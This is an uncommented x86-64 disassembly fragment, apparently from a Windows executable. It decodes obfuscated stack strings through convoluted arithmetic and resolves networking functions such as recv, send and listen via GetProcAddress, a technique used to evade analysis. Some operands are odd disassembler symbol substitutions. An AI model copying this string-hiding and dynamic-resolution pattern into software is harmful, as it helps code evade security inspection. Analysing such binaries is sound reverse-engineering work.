lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a706
lea edx, [r11 + 0x40]
mov ecx, 0x20
movzx r9d, r11b
jmp 0x14006a5f6
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a73b
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069eb3
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
lea rax, [rbx + r8]
cmp rax, 8
je 0x14006a59b
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x14006a3fa
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
cmp rbx, 0x20
jae 0x14006a56d
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x14006a4a8
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
cmp r8, 0x64
jb 0x14006a55d
movzx r9d, r11b
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_recv
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14006a676
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x14006a706
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x14006a703
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
dec r11
inc r11
jmp 0x140069eb3
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
inc r8
dec r11
inc r11
jmp 0x140069eb3
lea edx, [r11 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx r9d, r11b
jmp 0x14006a665
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x14006a334
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a1f6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006a36e
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069eb3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006a389
movzx r9d, r11b
lea edx, [r9 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14006a5f6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006a3b1
movzx r9d, r11b
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x14006a6e1
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006a3db
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
dec r11
inc r11
jmp 0x140069eb3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14006a1f6
movzx r9d, r11b
lea edx, [r9 + 0x60]
mov ecx, 0x30
jmp 0x14006a665
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006a422
movzx r9d, r11b
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14006a676
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006a44a
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a703
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006a46e
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x14006a706
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006a227
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069eb3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006a4de
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069eb3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006a509
movzx r9d, r11b
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x14006a607
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006a535
movzx r9d, r11b
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a6e1
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006a254
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
dec r11
inc r11
jmp 0x140069eb3
mov byte [rbp + r11 + 0x2f0], dil
inc r11
jmp 0x140069eb3
movzx r9d, r11b
lea edx, [r9 + 0x80]
movzx eax, dl
and al, r10b
add al, al
movzx edi, byte [rbp + r11 + 0x2f0]
sub dil, al
add dil, 0x80
add dil, dl
add dil, r10b
jmp 0x14006a6e1
movzx r9d, r11b
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006a607
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069eb3
movzx r9d, r11b
lea edx, [r9 - 0x30]
mov ecx, 0x28
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x50
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x30
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x2f0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14006a73b
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a706
movzx r9d, r11b
lea edx, [r9 - 0x70]
mov ecx, 8
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x70
movzx eax, r10b
and al, r9b
mov ecx, 8
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x2f0], cl
inc r8
dec r11
inc r11
jmp 0x140069eb3
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
dec r11
inc r11
jmp 0x140069eb3
movzx r9d, r11b
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
add r9b, 0x70
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x10
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 + 0x2f0], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140069eb3
lea rcx, [r11 + r13]
movzx r10d, r9b
and r9b, cl
mov eax, 0x18
sub al, r9b
lea edi, [rax + rax]
add dil, r10b
add dil, cl
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x2f0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069eb3
lea rdx, [r11 + r12]
movzx eax, r9b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069eb3
sub r11b, 0x50
movzx eax, r11b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x140069eb0
sub r11b, 0x30
movzx eax, r11b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x140069ea0
lea rdx, [rbp + 0x1724030]
jmp 0x14006a80c
lea rdx, [rbp + 0xccf620]
jmp 0x14006a80c
lea rdx, [rbp + 0x2f0]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x78], rax
mov byte [rbp + 0xb0], 0x21
mov byte [rbp + 0xb1], 0xde
mov byte [rbp + 0xb2], 0xc8
mov byte [rbp + 0xb3], 0xd6
mov byte [rbp + 0xb4], 0x2b
mov byte [rbp + 0xb5], 0xd8
mov byte [rbp + 0xb6], 0xc4
mov byte [rbp + 0xb7], 0xd3
mov byte [rbp + 0xb8], 0xc7
mov byte [rbp + 0xb9], 0xce
mov byte [rbp + 0xba], 0x7a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbb], xmm0
mov word [rbp + 0xcb], ax
movabs rsi, 0xd5bc2c2772c4374e
movabs r14, 0x839d8d6308e5f1be
movabs r12, 0x81348476584ca5ea
movzx edi, byte [rbp + 0x400]
nop
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1d
jae 0x14006b3d2
movzx r10d, byte [rbp + r11 + 0xb0]
mov rdx, r10
nop dword [rax]
cmp rbx, r11
ja 0x14006b3c9
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006a8fc
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x22
jmp 0x14006a930
je 0x14006b358
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006b32b
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006b2e3
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006b295
nop dword [rax]
cmp r8, r11
ja 0x14006b3c0
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x14006a95e
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a990
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006b279
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006b254
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006b242
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006aeed
nop dword [rax]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14006aedb
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14006aeb3
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006ae92
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14006ae73
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14006ae51
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14006ae32
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14006ae13
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14006adf8
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006adc7
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14006a9a0
lea rbx, [r8 + 0x61]
lea r8, [rbx + 2]
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14006b3a3
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006b383
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14006ab84
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14006ab69
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14006ab4e
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14006ad7a
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14006ad2d
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14006acef
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14006acc5
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14006a9a0
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 1]
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006ac98
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14006ac7d
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14006ac5a
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14006ac3b
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14006ac1d
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14006ac0b
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14006abe6
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14006abc2
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14006aba3
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14006a9a0
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x80]
jmp 0x14006a9a0
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
jmp 0x14006a990
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
jmp 0x14006a930
lea edx, [r11 + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a8c6
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
movzx r9d, r11b
jmp 0x14006b2b3
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
inc r8
dec r11
inc r11
jmp 0x14006a8b3
lea edx, [r11 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14006a8b3
lea edx, [r11 + 0x5c]
mov ecx, 0x3e
movzx r9d, r11b
jmp 0x14006b2f0
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
add rbx, r8
jmp 0x14006b33f
lea edx, [r11 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006b33f
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x14006b1d0
lea ecx, [r11 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x14006b1fd
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a8b3
lea edx, [r11 - 0x36]
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
mov byte [rbp + r11 + 0xb0], dil
inc r11
jmp 0x14006a8b3
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
cmp r8, 4
jb 0x14006acdf
movzx r9d, r11b
lea ecx, [r9 + 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x18]
jmp 0x14006b2b3
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 5
jae 0x14006b194
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x14006b06a
lea edx, [r11 - 4]
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006ad05
lea edx, [r11 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x64
je 0x14006b1bb
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x14006af95
lea ecx, [r11 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
jmp 0x14006ad47
lea edx, [r11 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a8b3
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x14006b1fd
movzx r9d, r11b
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x14006b1d0
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006b33f
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x14006b33f
movzx r9d, r11b
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x14006b301
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
dec r11
inc r11
jmp 0x14006a8b3
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006a8b3
movzx r9d, r11b
lea edx, [r9 - 0x7c]
mov ecx, 0x32
jmp 0x14006b2a2
lea rax, [r8 + 3]
cmp rbx, rax
jae 0x14006af11
lea ecx, [r11 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
jmp 0x14006ad94
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006af4b
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a8b3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006af76
lea edx, [r11 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x14006b33f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006ad94
movzx r9d, r11b
lea edx, [r9 - 0x54]
mov ecx, 0x26
jmp 0x14006b2a2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006afbd
movzx r9d, r11b
lea ecx, [r9 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5e
jmp 0x14006b2b3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006afeb
lea edx, [r11 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14006a8b3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006b013
movzx r9d, r11b
lea ecx, [r9 + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2a
jmp 0x14006b301
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006b03a
lea ecx, [r11 - 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6e
add rbx, r8
jmp 0x14006b33f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006ad47
movzx r9d, r11b
lea edx, [r9 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006b1d0
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006b0a0
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a8b3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006b0c4
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
jmp 0x14006b1fd
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006b0ec
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006b33f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006b113
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
add rbx, r8
jmp 0x14006b33f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006b13b
movzx r9d, r11b
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
jmp 0x14006b301
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006b168
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
inc r8
dec r11
inc r11
jmp 0x14006a8b3
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14006ad05
movzx r9d, r11b
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x14006b2b3
movzx r9d, r11b
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + r11 + 0xb0]
sub cl, al
add cl, 0x18
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006b301
movzx r9d, r11b
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x14]
sub r9b, 0x66
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x36
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0xb0], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x18]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x58
add r10b, cl
mov byte [rbp + r11 + 0xb0], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a8b3
movzx r9d, r11b
lea edx, [r9 - 0x2a]
mov ecx, reloc.WS2_32.dll_send
jmp 0x14006b2f0
lea edx, [r11 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14006a8b3
movzx r9d, r11b
lea ecx, [r9 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xe
jmp 0x14006b2b3
movzx r9d, r11b
lea edx, [r9 - 0x36]
mov ecx, 0x3d
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x62
movzx eax, r10b
and al, r9b
mov ecx, 0x29
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0xb0], cl
inc r8
dec r11
inc r11
jmp 0x14006a8b3
movzx r9d, r11b
lea edx, [r9 - 0xa]
mov ecx, 0x23
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 2
movzx eax, r10b
and al, r9b
mov ecx, 7
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0xb0], cl
add rbx, r8
jmp 0x14006b33f
lea rcx, [r11 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x32
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006a8b3
lea rcx, [r11 + r12]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x66
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a8b3
sub r11b, 0x7a
movzx eax, r11b
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x14006a8b0
sub r11b, 0x16
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x66
jmp 0x14006a8a0
lea rdx, [rbp + 0x1552918]
jmp 0x14006b3d9
lea rdx, [rbp + 0x596066]
jmp 0x14006b3d9
lea rdx, [rbp + 0xb0]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x70], rax
mov byte [rbp + 0xd0], 0x86
mov byte [rbp + 0xd1], 0xae
mov byte [rbp + 0xd2], 0xaf
mov byte [rbp + 0xd3], __WSAFDIsSet
mov byte [rbp + 0xd4], 0xb9
mov byte [rbp + 0xd5], __WSAFDIsSet
mov byte [rbp + 0xd6], 0x9d
mov byte [rbp + 0xd7], 0x9a
mov byte [rbp + 0xd8], 0x89
mov byte [rbp + 0xd9], __WSAFDIsSet
mov byte [rbp + 0xda], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xdb], 0xa4
mov byte [rbp + 0xdc], 0xe2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xdd], xmm0
mov byte [rbp + 0xed], al
movabs rsi, 0x6578d6ddd02945dd
movabs r14, 0x913f8dcc517374c5
movabs r13, 0xc64de010b120e90b
movabs r12, 0x306a8499707bd197
movzx edi, byte [rbp + 0x400]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1e
jae 0x14006bf95
movzx r10d, byte [rbp + r11 + 0xd0]
mov rdx, r10
nop dword [rax + rax]
cmp rbx, r11
ja 0x14006bf8c
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006b4dc
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0xb
jmp 0x14006b523
je 0x14006bf1e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006be93
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006be66
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006be25
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006be04
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006bde0
cmp r8, r11
ja 0x14006bf83
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x14006b54d
lea ecx, [r11 + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x19
jmp 0x14006b590
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006bd99
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006bd78
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006bd5d
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006bd42
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006bd15
